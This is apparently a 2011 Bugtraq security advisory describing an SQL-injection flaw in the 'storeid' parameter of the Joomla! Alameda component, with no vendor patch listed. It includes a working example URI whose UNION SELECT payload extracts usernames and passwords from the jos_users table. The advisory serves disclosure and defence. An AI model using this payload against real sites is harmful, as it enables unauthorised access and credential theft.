Joomla! Alameda Component 'storeid' Parameter SQL Injection Vulnerability

Bugtraq ID:	50451
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Oct 31 2011 12:00AM
Updated:	Oct 31 2011 12:00AM
Credit:	kaMtiEz
Vulnerable:	E. Wayne Madison Alameda 0
Not Vulnerable:

Joomla! Alameda Component 'storeid' Parameter SQL Injection Vulnerability

The Alameda component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Joomla! Alameda Component 'storeid' Parameter SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following example URI is available:

http://www.example.com/index.php?option=com_alameda&controller=comments&task=edit&storeid=-1+union+all+select+concat_ws(0x3a,username,password)+from+jos_users--

Joomla! Alameda Component 'storeid' Parameter SQL Injection Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Joomla! Alameda Component 'storeid' Parameter SQL Injection Vulnerability

References:

• Alameda Homepage (E. Wayne Madison)
  
• Joomla! Homepage (Joomla!)